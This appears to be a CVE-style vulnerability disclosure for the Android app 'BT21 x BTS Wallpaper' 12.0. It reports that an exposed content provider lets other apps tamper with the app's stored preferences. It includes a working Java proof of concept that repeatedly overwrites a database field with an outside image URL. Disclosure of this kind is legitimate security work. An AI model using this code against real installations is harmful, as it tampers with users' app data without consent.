Vendor:bungaakpstudio007
Affected product:BT21 x BTS Wallpaper(com.bungaakp007.bt21wallpaperoffline130920)
Version:12.0
Download link:https://apkpure.com/cn/bt21-x-bts-wallpaper-hd-4k/com.bungaakp007.bt21wallpaperoffline130920/download/12-APK
Description of the vulnerability for use in the CVE:The BT21 x BTS Wallpaper app 12 for Android allows unauthorized apps to actively request permission to modify data in the database that records information about a user's personal preferences and will be loaded into memory to be read and used when the app is opened. An attacker could tamper with this data to cause an escalation of privilege attack.
poc:
public void attack(){
ContentResolver contentResolver = this.getApplicationContext().getContentResolver();
while (true) {
Uri uri = Uri.parse("content://com.bungaakp007.bt21wallpaperoffline130920/wall");
ContentValues contentValues = new ContentValues();
contentValues.put("nama","https://nimg.ws.126.net/?url=http%3A%2F%2Fdingyue.ws.126.net%2F2022%2F1107%2F4cc9e200j00rkyl4o0010c000uk00kdg.jpg&thumbnail=660x2147483647&quality=80&type=jpg");
contentResolver.update(uri,contentValues,null,null);
}
}